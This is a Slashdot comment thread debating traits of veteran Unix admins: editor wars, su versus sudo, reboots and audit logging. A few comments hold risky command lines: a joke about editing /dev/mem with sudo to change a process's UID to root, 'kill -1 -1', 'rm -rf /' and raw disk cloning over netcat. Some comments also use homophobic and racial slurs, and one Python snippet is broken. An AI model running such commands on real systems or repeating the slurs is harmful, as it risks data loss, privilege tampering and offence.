  26. You're not an admin. by SETIGuy · · Score: 1

    You're not a real unix admin unless you've written a compiler in awk or emacs in sed.

    1. Re:You're not an admin. by meloneg · · Score: 1

      Pft! You're not a real sysadmin if you've ever touched emacs long enough to be able to write it in anything.

      Once. Long enough to be annoyed that it was so hard to exit out of it. What could be more intuitive than ":q"?

    2. Re:You're not an admin. by SETIGuy · · Score: 1

      You don't need to use emacs to write emacs. As far as I can tell the entire program is "clear the screen; sit in an endless loop while ignoring all keystrokes."

    3. Re:You're not an admin. by meloneg · · Score: 1

      You, sir, have made me smile. Well done.

    4. Re:You're not an admin. by Joe_NoOne · · Score: 1

      No, compiling is for the Apps people, not us admins. Besides, it's not as impressive a Web Server written in Postscript

    5. Re:You're not an admin. by SETIGuy · · Score: 1

      No, compiling is for the Apps people, not us admins.

      Your ID isn't much higher than mine. Are you so young you didn't have to write your own admin tools? Now I feel really old.

    6. Re:You're not an admin. by ryanov · · Score: 1

      Don't feel bad. I have a relatively low ID and I'm not yet 30.

    7. Re:You're not an admin. by Joe_NoOne · · Score: 1

      No, compiling is for the Apps people, not us admins.

      Your ID isn't much higher than mine. Are you so young you didn't have to write your own admin tools? Now I feel really old.

      Sure, I've written lots of tools, but I never had to use a compiler for them. Shell scripts are all you need. Awk & Perl are the closest I come to programming languages generally speaking.

    8. Re:You're not an admin. by SETIGuy · · Score: 1

      Perl.... You are young! There used to be a time when max per process memory was 32kW or 64kW and systems might have 128kW of total memory. sh, awk, sed, expect, grep, cc and ld should be enough for anyone. Being an admin was part coding, and part fighting off server room bears with a stone knife.

    9. Re:You're not an admin. by Joe_NoOne · · Score: 1

      Nah, I'm old-school. I never claimed expertise in Perl, just use it on occasion. Awk is my weapon of choice because "Back in my day that's all we had, and we LIKED it that way"....

      By the way, never seen memory referenced by Kilowatts before - is that the current draw of the vacuum tubes in use?

    10. Re:You're not an admin. by SETIGuy · · Score: 1

      Those are kilowords. Words being 16bits in this case. Been so long since I used the abbreviation, I've forgotten if the W is supposed to be capitalized or not. A lot of terminals only had upper case anyway.

  27. Re:Why I use sudo by Anonymous Coward · · Score: 1

    That's why generally only the sysadmin would have root. Other users that may need root once in a while (for whatever reason) are given specific sudo permissions. And if you are at a site that has multiple sysadmins who share responsibility for a group of servers, then auditing is simple. You ask the group "who did it". That's probably trait #10, deep integrity. Because a good sysadmin knows that if he is caught trying to hide a mistake, he will probably never regain the company's trust again.

  28. Article is incomplete by kybred · · Score: 1
    The article did not mention:
  29. It's more like the BOFH... by Lost+Penguin · · Score: 1

    http://www.theregister.co.uk/odds/bofh/

    --
    I am the unwilling control for my Origin.
  30. Veteran Unix Admin? More like wanna-be by 93+Escort+Wagon · · Score: 1

    The only admins I've seen that are allergic to rebooting are basically children who are new to a paying job. Most experienced Unix admins I've known have no problem with rebooting, when they feel it's the most appropriate option. They're pragmatic, above all else.

    --
    #DeleteChrome
    1. Re:Veteran Unix Admin? More like wanna-be by Anonymous Coward · · Score: 0

      You missed the point given with the lruluctance to reboot. If a reboot is the most appropriate option (how do you define appropriate?), you have not figured out the solution or problem, you are attempting to perform a temporary band-aid for something that is faulty and will probably fail again later. Put another way... rebooting fixes nothing, it just temporary clears the error that you could not find.

    2. Re:Veteran Unix Admin? More like wanna-be by Korin43 · · Score: 1

      It makes sense in certain environments, like file servers (rebooting the file servers at my school only takes a couple minutes but is guaranteed to make someone angry, no matter when you do it).

      On the other hand, most things now can use load balancing so users will never notice..

    3. Re:Veteran Unix Admin? More like wanna-be by Anonymous Coward · · Score: 0

      My dad would beg to differ here. He worked in places where they were running super old systems that were only rebooted when someone really screwed things up. They may have rebooted more often for sanity if the reboot process was shorter than a few hours (making sure all of the other systems were in sync and whatnot--couldn't get specific details as it was classified work). Didn't help that no one cared to document the actual process for what needed to be which state at whatever point of the boot process....

    4. Re:Veteran Unix Admin? More like wanna-be by tnk1 · · Score: 3, Insightful

      True. I will reboot a host without a second thought if a specific type of issue comes up. Root cause analysis is great, but when you're in production, the host really needs to be running. You can figure out the RCA from the logs later on, if need be.

      However, most issues with a box can easily, and much more quickly, be fixed by simply restarting specific processes. I've had plenty of hosts stay up for years at a time with nothing else needed but to occasionally restart some processes. And that is the way it should be. Rebooting isn't some magical maintenance cycle where the oil gets changed and the hamsters are replaced, its just a wipe of the RAM and reload of the OS to an initial state. It doesn't fix hardware errors, bad code or poor planning.

      Unfortunately, most of the time, the order comes from someone who doesn't know what they are doing. In that case, as long as it doesn't make things worse, if it takes longer to convince them to not reboot the host than it does to actually reboot it, you might as well go, "Right away, sir." and get it over with.

    5. Re:Veteran Unix Admin? More like wanna-be by unlocked · · Score: 1

      UNIX Viagra when uptime matters.

    6. Re:Veteran Unix Admin? More like wanna-be by Anonymous Coward · · Score: 0

      I reboot only every 24 months or so, and it is scheduled far in advance. When you've got 24 hour uptime requirements, rebooting is not normally done unless you really have run out of other options.

    7. Re:Veteran Unix Admin? More like wanna-be by Fallen+Kell · · Score: 2

      You must not have ever admin'ed many big iron servers. You know, the ones which take upwards of 30 minutes to reboot and are typically servicing 100+ users or mission critical applications. As the rest of the article says, simply rebooting doesn't fix the underlying issue. All you do is set yourself up for a repeat down the road. You are simply kicking the can down the road for someone else to pick it up and put it in the trash/recycle bin...

      --
      We were all warned a long time ago that MS products sucked, remember the Magic 8 Ball said, "Outlook not so good"
    8. Re:Veteran Unix Admin? More like wanna-be by thogard · · Score: 1

      When inittab is set up right, kill -1 -1 works as well as a reboot in most cases and is far faster.

    9. Re:Veteran Unix Admin? More like wanna-be by Ash-Fox · · Score: 1

      I reboot only every 24 months or so, and it is scheduled far in advance. When you've got 24 hour uptime requirements, rebooting is not normally done unless you really have run out of other options.

      I use redundant and failover systems, so rebooting is generally an option for me. Just not rebooting all systems at once.

      --
      Change is certain; progress is not obligatory.
    10. Re:Veteran Unix Admin? More like wanna-be by CharlyFoxtrot · · Score: 1

      You know, the ones which take upwards of 30 minutes to reboot

      Ah, I see you are using Sun.

      --
      If all else fails, immortality can always be assured by spectacular error.
    11. Re:Veteran Unix Admin? More like wanna-be by Anonymous Coward · · Score: 0

      Well, if a machine is processing seismic data that can run for 6 months and you reboot the machine after 5 months, then you are not going to be very popular.

    12. Re:Veteran Unix Admin? More like wanna-be by arkane1234 · · Score: 1

      I wouldn't say allergic, I'd say wanting another reason than "we got a problem.".
      Most problems can be fixed, instead of flushing the buffers. Otherwise, it's an issue that needs to be escalated up to the vendors.

      --
      -- This space for lease, low setup fee, inquire within!
    13. Re:Veteran Unix Admin? More like wanna-be by arkane1234 · · Score: 1

      ... or have a secondary system to take the load...

      --
      -- This space for lease, low setup fee, inquire within!
    14. Re:Veteran Unix Admin? More like wanna-be by alcourt · · Score: 1

      Or AIX, or HP-UX, or RHEL.

      Measured boot times on some decent sized boxes:
      Solaris: 40-75min
      AIX: 30-70min
      RHEL:20-40min
      HP-UX: We gave up at 3 hours and restored from ignite

      --
      "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
    15. Re:Veteran Unix Admin? More like wanna-be by ryanov · · Score: 1

      The HP N4000 we had was about 20 mins to reboot. I generally discovered that when I was not careful with focus-follows-mouse.

    16. Re:Veteran Unix Admin? More like wanna-be by CharlyFoxtrot · · Score: 1

      I guess it depends on whether you mean powercycling the box or rebooting the OS. In our environment a Solaris domain in a Sun Fire 15k takes about 20-25 min to reboot while an AIX LPAR in a pSeries can be back online in 5 min. The times you give look about right for powercycling though.

      --
      If all else fails, immortality can always be assured by spectacular error.
  31. Re:vim? really? by Anonymous Coward · · Score: 0

    best xkcd ever!

  32. With you until.... by Tyr_7BE · · Score: 1

    "Where others may see intractable, overly difficult methods, we see enlightenment, borne from years of learning, experience, and overall, logic."

    Really? Rather than doing something a simple way, over the years veterans learn that complicated and difficult is better? K.I.S.S! There's even an acronym for it!

    This sounds like it was written by a junior admin or programmer who's in awe of what some of the more seasoned vets are doing.

    1. Re:With you until.... by mysidia · · Score: 1

      This sounds like it was written by a junior admin or programmer who's in awe of what some of the more seasoned vets are doing.

      No... it sounds like someone acknowledging that vet unix admins sometimes protect their job security through complexity.

      But then again, there are cases where complexity is truly necessary, or it provides significant benefits, utility, robustness, or substantial security improvement, that the simpler method does not.

    2. Re:With you until.... by Dan+Dankleton · · Score: 1

      One person sees the simple method as "reboot the server"

      Learning, experience and being woken up at 4am too many times teaches you that spending a couple of hours trying to find, correct and document the problem looks like an intractable, overly difficult method compared to just rebooting the server - but eventually you learn that keeping it simple sometimes means doing something complicated now to keep it simple in the future.

  33. admins or curmudgeon by Anonymous Coward · · Score: 0

    Sounds like tis group has a fair bit in common with your ornery curmudgeon.

  34. Angry Birds? by scdeimos · · Score: 1

    What, they've built Angry Birds into emacs now?

  35. Re:Why I use sudo by firstnevyn · · Score: 1

    That works fine until you have 30 sysadmins... because you have 1500 systems in your environment.

    Really.. sudo su - is not appropriate in serious environments at scale that need to meet strong AAA and governance requirements.

  36. Re:vim? really? by Culture20 · · Score: 4, Insightful

    vim? svelt? Puhleez. When not using ed(1), Real Unix vets use Bostic's One True vi, not some fagged-up Vegas showplace of an editor like vim.

    That's like saying Real Unix vets still use telnet and rsh to remotely administer machines. Sometimes it's nice to be able to move up and down lines without having to leave edit/write mode. vim is used by Real Unix vets who have kept up with the times, just like ssh. Only washed up has-beens don't learn to eventually use better tools.

  37. Re:vim? really? by scdeimos · · Score: 4, Funny

    Damn programmers and their butterflies, the bane of a real sys admin.

  38. The God complex lives! by Praseodymn · · Score: 0

    Well, I'm glad /. has confirmation that 'veteran' unix admins are superior to all other users. What a pathetic group of people. I thought chefs were egotistical..
    Keep on trippin'.

    --
    Sometimes, you can, you go to hell for the rest of your life! That's a true thing.
    1. Re:The God complex lives! by arkane1234 · · Score: 1

      You're an accountant, I see...

      --
      -- This space for lease, low setup fee, inquire within!
  39. Re:vim? really? by eln · · Score: 4, Insightful

    I have to go with the GP on this one. It's not that vim is inherently bad, it's just that it's *unnecessary*. It includes tons of features that an old-school admin has no use for. Sure, most of us use it anyway because modern Linux systems usually don't include our good friend vi (it's usually just a symlink to vim), but we rarely use the features that separate vim from vi. Moving in and out of edit mode is second nature. Hell, even using the arrow keys to move around is a needlessly inefficient waste of motion, since the arrow keys are usually far from any other useful key on the keyboard. The first thing we do in vim is turn off syntax highlighting and silently curse whoever keeps turning it back on.

    The comparison to ssh is inaccurate as well. We use ssh because ssh gives us clear security advantages over telnet and rsh, and allows us to use one tool where we previously needed two. Any Unix admin worth his salt, no matter how long and luxurious his neck beard, will gladly upgrade his tools to improve his own efficiency or increase security. SSH does both of those things, while vim does neither.

  40. Re:vim? really? by Ungrounded+Lightning · · Score: 4, Informative

    When not using ed(1), Real Unix vets use Bostic's One True vi, not some fagged-up Vegas showplace of an editor like vim.

    Indeed.

    A particularly nasty vim change is that:
      - In vi "u" undoes the last change - even if it was another "u". Hit "u" repeatedly and the screen flips between with and without the last change, making it blink. Useful if a multi-change command may have done something goofy.
      - In vim "u" backs you through a history of changes. Handy sometimes. But to redo you have to "control-r". Forget about blinking the screen to use your eye's motion sensors to spot the trouble. Also watch out for accidentally undoing a bunch of changes just before you close and exit. Oops!

    Geez, guys. If you want to add new stuff (like a history to go backward through), don't change the behavior of an existing command. Add another, or at least make it configurable - preferably with the default the old behavior.

    --
    Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
  41. echo grep awk sed bash by unlocked · · Score: 1

    mmmmm colorized bash with as dash of dialog.

    1. Re:echo grep awk sed bash by TeknoHog · · Score: 1

      That's what she sed.

      --
      Escher was the first MC and Giger invented the HR department.
  42. don't need sudo for that by r00t · · Score: 1

    For example, I use virtual desktops. The first one is reserved for stuff involving root. On that desktop I open one xterm for root commands, and several others for related stuff such as checking man pages. I immediately make the non-root windows big, reducing the temptation to read man pages as root. For the root xterm, I do "exec su -" and keep it small.

    I don't use any of those windows for random user stuff. (not even the non-root windows) I switch to a different desktop when I am not doing root-related actions.

    If I were more serious about safety, I'd eliminate both sudo and su. It is unsafe to elevate privilege. The safe choice is a direct login, preferably on the bare non-X11 Linux console. (do Alt-Ctrl-F2 if you're unfamiliar with this) Hit the SAK sequence to be extra safe. An ssh login directly as root from a trusted client is a tolerable alternative, at least if you use pre-shared key information.

    1. Re:don't need sudo for that by mgbastard · · Score: 1

      For example, I use virtual desktops. The first one is reserved for stuff involving root.

      You missed the point when started referring to a gui window manager of any sort.

      --
      Anyone seen my low uid? last seen 10 years ago while panning the #@$# out of Taco's 'web based discussion system'
    2. Re:don't need sudo for that by stjobe · · Score: 1

      If you're leaving a root shell open, nevermind where, you're asking for trouble and are just lucky it hasn't bit you on the ass yet. Stop doing it.

      --
      "Total destruction the only solution" - Bob Marley
    3. Re:don't need sudo for that by r00t · · Score: 1

      Nope, I mentioned "bare non-X11 Linux console".

      Once you're tainted by either su or sudo, it isn't much of a big deal to add the whole GUI. You've already lost the Trusted Path component of security.

  43. Many tools, many purposes... by fahrbot-bot · · Score: 1
    Real SysAdmins boot Emacs and run the OS in a buffer. [Vi is for pussies.] :-)

    Seriously. Vi for quick and dirty. Emacs for longer and complex. Ksh/Perl for automated and repeatable...or if I have to do something more than, say, say five times... You get the picture. We keep many tools handy and polished. Each has a purpose. Other than that, the list is pretty accurate - speaking with 25+ years experience *as* one of those admins, as well as system/application programmer. :-)

    --
    It must have been something you assimilated. . . .
  44. Just don't close Emacs by retrospectenlighten · · Score: 2

    The trick is one never closes Emacs down - so it's always there. Just flick to the window with your Emacs, edit the file, save it, and go back to what you were doing. Those "editor AND the kitchen sink" jokes are very true, but you only have to open it once.

    Even better, using TRAMP you can be running your Emacs as your normal user, and use the sudo method to edit a system config file - avoiding running the editor as root. Pretty nifty, eh?

    I'm proud of myself - two holy wars (Vi/Emacs and su/sudo) in one post!

    1. Re:Just don't close Emacs by TheRaven64 · · Score: 1

      There's a simple pragmatic reason for preferring vi to emacs for admin work: it's guaranteed to be there. The Single UNIX Specification requires it, so any UNIX system will have a vi binary. It may not have EMACS, or any other editor that you may prefer (including vim). Even if it does have your favourite editor, it may not be somewhere that's easy to get to in single-user mode. On *BSD, for example, vi is in /usr/bin, while emacs or vim will be in /usr/local/bin, which is probably the last partition that you will mount during recovery. ed is in /bin, so it's always available, but hopefully you only need to use it to get the system into a state where you can mount /usr.

      --
      I am TheRaven on Soylent News
  45. emacs --daemon by mtaht · · Score: 1

    I run it as root, for weeks at a time. Who needs vi?

  46. A Unix Admin for real machines, not toys by fnj · · Score: 1

    Oh yeah? Are they really gung ho to reboot a monstrosity with dozens of GB of RAM, many terabytes of disk, and dozens of virtual machines it it? Because it can easily take 15-30 minutes to get the shole shebang fully back up.

    1. Re:A Unix Admin for real machines, not toys by amorsen · · Score: 1

      Boot time is proportional to system cost. This is fairly stupid by the way, since costly systems tend to be critical systems where even service windows should be kept short, but I know of no vendor who cares.

      There are a lot of very low hanging fruit in this area, but no vendors care, and I dare not go with coreboot.

      --
      Finally! A year of moderation! Ready for 2019?
    2. Re:A Unix Admin for real machines, not toys by marcosdumay · · Score: 1

      It doesn't really mater. That is why no vendor cares.

      If you want a service to be really reliable, you'll do some kind of hight availability setup, and rebooting will take too long just to synchronize with the cluster again.

      If you don't want a service to be really reliable, well, why do you care so much about boot time?

    3. Re:A Unix Admin for real machines, not toys by amorsen · · Score: 1

      Half an hour without redundancy is no fun. Especially if it was an "unscheduled service window" and you are hoping that the secondary won't fail too.

      From experience working with critical systems, a low boot time is very helpful when things are not working as they should and the stress level is high.

      --
      Finally! A year of moderation! Ready for 2019?
  47. excellent point, but not enough by r00t · · Score: 1

    Malicious code could mess with your shell so that even "/bin/su -" doesn't do the right thing.

    The proper solution is direct login as the desired user. If using SE Linux, also specify the correct role and MLS info at login.

    Use the bare Linux console. If you absolutely must be remote, use a trusted client with pre-shared ssh keys or a hard-wired serial line.

  48. Just describes a bad Unix admin by defaria · · Score: 1

    That article is total bull! I, for example, am nothing like that and I admin Unix systems all the time. In fact, I'd say that article describes a bad, stuck with old crappy methods, Unix admin.

    1. Re:Just describes a bad Unix admin by O_Sleep · · Score: 1

      Not only that, but if you disagree with this article you aren't considered cool.

    2. Re:Just describes a bad Unix admin by ryanov · · Score: 1

      What about those methods are old and crappy exactly?

  49. 1,000 problems by mmj638 · · Score: 1

    More like a thousand problems, if sed goes wrong.

  50. Re:vim? really? by deek · · Score: 1

    Well, doesn't that make me feel inadequate. I like vim syntax highlighting. Makes config files easier to read. And I still use telnet, mainly for connecting to remote http and smtp servers. Great for troubleshooting issues, or even finding out what type/version a webserver is.

  51. Re:vim? really? by Anonymous Coward · · Score: 1

    For sure, a REAL unix admin uses ex, not the VIsual editor. how are you going to edit the config file using vi if your only output is a line-printer - yes, i know, that does not happen often, but to me using ex at least one time saved me the effort of carrying the monitor into the next room to edit the config file to get the machine with the printer back online on the net.

  52. how to do 'sudo cd' by r00t · · Score: 1

    sudo ed /dev/mem

    (follow with a bit of editing to change the inode number of the working directory in your process structure)

    You can use "sudo vi /dev/mem" or even "sudo gdb /dev/mem" if you're a wimp.

    1. Re:how to do 'sudo cd' by amorsen · · Score: 1

      Careful with using modern vi for binary files, it isn't safe anymore! vim needs the -b option.

      Even EMACS does not break binary files...

      --
      Finally! A year of moderation! Ready for 2019?
    2. Re:how to do 'sudo cd' by mysidia · · Score: 1

      (follow with a bit of editing to change the inode number of the working directory in your process structure)

      If you're going through all that trouble, why not just overwrite the UID and EUID with 0,0 ?

  53. Re:vim? really? by Scarletdown · · Score: 1

    And the Dilbert perspective...

    --
    This space unintentionally left blank.
  54. Re:vim? really? by Scarletdown · · Score: 2
    --
    This space unintentionally left blank.
  55. Re:vim? really? by Anonymous Coward · · Score: 0

    Except vim does increase your efficiency, which kinda goes against your terrible point. Get off your own lawn.

  56. Re:vim? really? by zmughal · · Score: 5, Informative

    All the major changes are documented under ":help vi_diff.txt". You can set the undolevels option to 0 to get the vi behavior. Also see ":help undo-two-ways".

  57. He sed, she sed by grikdog · · Score: 1

    Awk, what's that you sed?

    Siriusly, I gave up sysadmining when I realized bds unix (i.e., Apple) already done that for me, and all I had to worry about was how to fork Perl.

    --
    ``Tension, apprehension & dissension have begun!'' - Duffy Wyg&, in Alfred Bester's _The Demolished Man_
  58. I have been known to do a sudo... by Anonymous Coward · · Score: 0

    but mainly a sudo bash ;)

  59. Some improvements by RenHoek · · Score: 1

    1: We don't use sudo
    True but we don't use 'su -' either like the article suggested. We use SSH keys to log in as root directly so we can run commands and scripts from a central server over hundreds of servers without having to log into them. Sudo is like training wheels. I should be able to 'rm -rf /' a server anyway and bring it back within a day or this points to a whole other problem, i.e. no backups, or no emergency restore plan.

    2: We use vi, not emacs, and definitely not pico or nano
    No we don't. We use 'joe' because we learned how to code C on Borland Turbo C and we like our Wordstar command keys. I never understood the use of a separate view/edit mode either anyway.

    7: We have more in common with medical examiners than doctors
    True, when we fix a problem, we do spend a bit of time on finding out _why_ it occurred, but most of our time, we'll spend DOCUMENTING! I can't believe the guy never even mentioned that word in his whole article.

    9: Rebooting is almost never an option
    Rebooting is _always_ an option. A veteran admin knows it is sometimes better to ask for forgiveness then it is to ask for permission. Also we're busy people, and I feel better when I know a server comes up again after a reboot after I made changes.

    I feel the guy in the article is already a seasoned admin, but he's got some way to go before he's really a veteran.

    1. Re:Some improvements by OttoM · · Score: 1

      Turbo C? Wordstar key bindings? You must be kidding. This veteran learned editing over a modem line using ex(1) or vi(1). Most of the time, I used ex(1) because the load on the VAX made vi(1) too slow.

    2. Re:Some improvements by rjstanford · · Score: 1

      I never understood the use of a separate view/edit mode either anyway.

      Then you probably never understood the power, grace, simplicity and speed of regular expressions at your fingertips and the massively powerful "redo last command but from here." command ("."). When making a small number of repetitive changes to a complex file and wanting to make sure you're scanning them as they go, the combination of n and . is amazing.

      --
      You're special forces then? That's great! I just love your olympics!
    3. Re:Some improvements by Junta · · Score: 1

      ssh in with root key is fine for small teams, but su and sudo provide more likely audit trail to know who to chew out when they make a mistake.

      This is one reason I actually prefer sudo, it *tends* to give a more precise audit log than su. The danger of su is that people tend to su and stay root even after they finish the usually small portion of the work that needs root, and *sudo* actually tends to make them think about each commands needs. Ok, that's not true, in practice people sudo -s and dick around just like su, but I can dream.

      --
      XML is like violence. If it doesn't solve the problem, use more.
    4. Re:Some improvements by arkane1234 · · Score: 1

      We use SSH keys to log in as root directly so we can run commands and scripts from a central server over hundreds of servers without having to log into them. Sudo is like training wheels.

      Having any ability to log into a remote machine with root is a security issue. sudo says which user can do what, and which user can sudo to root as well. Sudo is by far not like training wheels, it's another layer of security. Training wheels are designed to help you, not provide a layer of system security. Unless that's what you consider training wheels...

      2: We use vi, not emacs, and definitely not pico or nano
      No we don't. We use 'joe' because we learned how to code C on Borland Turbo C and we like our Wordstar command keys. I never understood the use of a separate view/edit mode either anyway

      Some of us have progressed beyond the early to mid-90s on MS-DOS. Besides, vi is most commonly used because it's like 'sh'... it's just there and a de-facto standard. It's also pretty powerful, you should try it again, someday. Unless you're "that guy".

      --
      -- This space for lease, low setup fee, inquire within!
    5. Re:Some improvements by Thing+1 · · Score: 1

      I never understood the use of a separate view/edit mode either anyway.

      The benefit of a separate view/edit mode is reduced energy expenditure by your finger/arm muscles.

      --
      I feel fantastic, and I'm still alive.
    6. Re:Some improvements by alcourt · · Score: 1

      ssh as root? You just got your wrist slapped for violation of security policy, direct login as root destroys individual accountability. The root password is only available when you break the glass container with the envelope because nothing else will repair the box. Every user, including the sysadmins, are required to use their individual accounts to log in, then elevate their privileges through a tool like sudo to obtain superuser access. Most of the time, the SA has written policies for cfengine or puppet or some similar tool to keep the system running without actually logging in.

      So many times, people who think they are seasoned, forget that funny thing called security.

      As for vi, I use it because I can count on it being there on any Unix based OS. I don't count on any feature that won't be on HP-UX, RHEL, Solaris, AIX, Digital Unix, or whatever other OS I have to use today. When I script, unless I personally put it out, I only use features I know are distributed on all Unix based operating systems I'll touch. That means I rarely even use perl, because I have a lot of legacy boxes that don't have any version of perl on them.

      I agree with your criticisms of numbers seven and nine above.

      The author feels like a case of one year experience, repeated fifteen times.

      --
      "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
    7. Re:Some improvements by alcourt · · Score: 1

      Change their shell to a logging shell. If you need one, grab ksh-93 source and turn on SHOPT_AUDIT. It's now part of RHEL as of I believe 5.4, so no code build needed there. Then you just start monitoring euid 0 and point the logs to the syslog port of your central log server.

      --
      "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
    8. Re:Some improvements by Junta · · Score: 1

      The problem is that covers 'what' is done but not 'who' if you never provide a username other than root to the system execing the commands.

      --
      XML is like violence. If it doesn't solve the problem, use more.
    9. Re:Some improvements by alcourt · · Score: 1

      Here's how we solved that problem. All access to root (except for documented emergencies) is done by sudo to a logging shell. The sudo invocation records who invoked that shell on what TTY. The logging shell, which logs off-host in real time, records the tty in addition to the timestamp and command (and euid). Then we can correlate from the sudo to identify "this is the shell history session for this user starting at this time."

      --
      "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
  60. Re:vim? really? by Daniel+Klugh · · Score: 2

    Did you try this:
    :set cpoptions+=u

    And it even talks about your issue under ":help u". Including how to do the above.

    --
    Daniel Klugh
  61. Re:The Problem With Veteran Niggers by Niobe · · Score: 1, Troll

    Not being a US citizen all I know about N*ggers is that only N*ggers can say N*ggers.

  62. Re:vim? really? by geggo98 · · Score: 1

    I have to go with the GP on this one. It's not that vim is inherently bad, it's just that it's *unnecessary*. [...]

    I currently had to learn vi. Not vim, but the original vi. I had to do some work on some Solaris and AIX machines. vi was the only tool that was available on all of them. Most of them dad vim, some even emacs. But only vi was on all of them.

    So I would say the reason to deal with vi instead of the better/newer editors is not so much that the other editors are not necessary. But the other editors might be unavailable.

    I now try to use always vi, to practice its usage. The next time when no other editor is available, I will be prepared.

  63. That's what netcat, socat are for by jonaskoelker · · Score: 3, Informative

    I still use telnet, mainly for connecting to remote http and smtp servers.

    Telnet sends terminal management information included in the byte stream. Use netcat or socat if you just want to pipe stdin into a TCP session.

    1. Re:That's what netcat, socat are for by bill_mcgonigle · · Score: 1

      Telnet sends terminal management information included in the byte stream.

      Only to telnet ports.

      When connecting to a non-standard port, telnet omits
      any automatic initiation of TELNET options.

      nc is the more flexible, featureful, and unix-like too, though. Try cloning a hard drive over a network with telnet!

      gzip < /dev/sdb | nc -l 33333
      nc foohost 33333 | gunzip > /dev/sdb

      --
      My God, it's Full of Source!
      OUTSIDE_IP=$(dig +short my.ip @outsideip.net)
  64. Right on! by rts008 · · Score: 1

    Geez, guys. If you want to add new stuff (like a history to go backward through), don't change the behavior of an existing command. Add another, or at least make it configurable - preferably with the default the old behavior.

    I wholeheartedly second that!
    It's a frustrating experience when you have to unlearn routine things like your example, at least is is for me.

    Well said, IMHO.

    --
    Down With Slashdot BETA!!! I've been around the corner and seen the oliphant; you can only abuse me from your perspecti
  65. Re:vim? really? by Ceriel+Nosforit · · Score: 1

    ...documented...

    Your Szchwartz is almost as big as mine!

    Having kept up with the times, if I have to read documentation I'm doing something I'm not supposed to do. If googling and three clicks doesn't bring me to an Ubuntu user who has already had my problem and solved it, I pipe the issue to my To-Do list, AKA. /dev/null. Meaning I just forget about it and go back to whining about lack of GPU accelerated flash video support.

    Mouse-driven copy-paste is what it's all about. That's why nano.

    --
    All rites reversed 2010
  66. Re:vim? really? by insomaniac · · Score: 1

    You should really look into netcat to replace telnet for troubleshooting, it can do that and is a lot more flexible.

    --
    The way to corrupt a youth is to teach him to hold in higher value them who think alike than those who think differently
  67. Re:vim? really? by evilviper · · Score: 1

    I would just add that customizing vim is a great idea. Because you'll never want to run vim on a new system you haven't extensively configured before... And besides, inconsistent behavior is just the spice pod life, you're sure to notice immediately, make no mistakes because of it, and just have a laugh about it later.

    Seriously, nvi is awesome. Shows you the dos crlf breaks in your config file that are hosing up your server with a nonsense error message and no useful indications. Tiny, notably faster than vim, and much less nonsense popping up and showing you down.

    --
    Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
  68. Re:vim? really? by L4t3r4lu5 · · Score: 1

    You didn't close the anchor tag. It's a bug.

    --
    Finally had enough. Come see us over at https://soylentnews.org/
  69. Re:vim? really? by WH44 · · Score: 1

    This. I'm a hardcore emacs user - I wrote my own variant in TECO on a PDP-11 called "MINE" (unoriginally named after FINE - FINE Is Not Emacs) back around 1980, but I gave in and learned the basics of vi a few years back, simply because emacs isn't always available, and sometimes "echo whatever >> temp.sh" just won't cut it.

  70. Typo by Askmum · · Score: 1

    borne from years of learning

    The should be bourne from years of learning.
    SCNR

    1. Re:Typo by cynyr · · Score: 1

      i thought it was "bourne again from years of learning"

      --
      All of the above was encrypted with a Quad ROT-13 method. Unauthorized decryption is in violation of the DMCA.
  71. Re:vim? really? by djupdal · · Score: 1

    The first thing we do in vim is turn off syntax highlighting and silently curse whoever keeps turning it back on.

    Why? I have seen this before, but never understood why anybody would prefer their C-code (or whatever) without syntax highlighting. Can you explain what is wrong with syntax highlighting?

  72. Re:vim? really? by Anonymous Coward · · Score: 0

    And what about having 2 undo functions? u in classic style and ctrl+z for the young.

  73. Re:vim? really? by mwvdlee · · Score: 1

    if I have to read documentation I'm doing something I'm not supposed to do.

    Chances are, if you DON'T read documentation you're also doing something you're not supposed to do.
    The only difference is that while you're reading, atleast you're not screwing up.

    --
    Slashdot social media options: AIM, ICQ, Yahoo, Jabber and Mobile Text. Why no MySpace?
  74. Re:vim? really? by TheRaven64 · · Score: 3, Insightful

    The first thing we do in vim is turn off syntax highlighting and silently curse whoever keeps turning it back on

    I second the other poster's WTF here. It's one thing not to rely on the advanced features of vim - after all, the Single UNIX Spec only mandates vi, so it's the only thing you can guarantee being available, but it seems crazy to not take advantage of them when they are available. Do you also turn of auto-indenting and multi-level undo so that you can spend more time typing and less time actually being productive?

    --
    I am TheRaven on Soylent News
  75. Re:vim? really? by TheRaven64 · · Score: 1

    As I recall, it does default to the vi behaviour. The newer stuff is only enabled with :set nocompatible. Of course, on most GNU/Linux distros, vi is a hard link to vim and both read the system vimrc, which sets this by default. If you use a real OS, vi and vim are separate binaries, vi behaves like vi and vim behaves like vim.

    --
    I am TheRaven on Soylent News
  76. Python Regexps by bjourne · · Score: 1

    Here is how you do the "replace every third character unless it is followed by 4" using python: d = open('infile.txt', 'rb').read() d = ''.join(('R' if (idx % 3 == 0 and ch1 != '4') else ch) for (idx, (ch, ch1)) in enumerate(map(None, d, d[1:]))) open('outfile.txt', 'rb').write(d) I doubt you can write that as succintly using regexps. To bad slashdot fucked the code up.

  77. Sudo is not intended to provide "training wheels" by profplump · · Score: 1

    While I'm sure some people use sudo to help keep them from doing stupid things in a root shell, that's really not the main purpose. There are a whole slew of legitimate things you can do with sudo that have nothing to do with protecting the system from typos/etc.

    1. Allow multiple admins to each have their own "root" password -- no password sharing required.
    2. Avoid setting a root password, so it's impossible to get direct root access via password-authenticated
    3. Log every command run with elevated privileges for auditing purposes.
    4. Prevent (or at least make it harder) for someone to leave a root shell unattended. sudo requires re-authentication on whatever interval you desire; a root shell has no such feature
    5. Reduce the amount of typing related to run a single command with elevated privileges
    6. Allow non-admin users (including non-root daemons) to run specific commands with elevated privileges -- for example, allow users to edit their own config files without admin assistance and without granting them access to all config files.
    7. Allow certain commands to be run with elevated privileges without a password prompt based on group memebership/etc. For example, allow anyone in the "print_admin" group to run `killall -1 lpd` without further authentication. It's not a command you want anyone running willy-nilly, but it's not dangerous enough to require re-authentication of the session either.

    And I'm sure there's a whole slew of other reasons to use sudo. That's not to say a root shell isn't still a useful tool in some scenarios -- if you're going to do a series of high-privilege tasks and you're not worried about strict audit trails a root shell makes sense. But you could still get there with a non-shared password if you used sudo for privilege elevation rather than `su`.

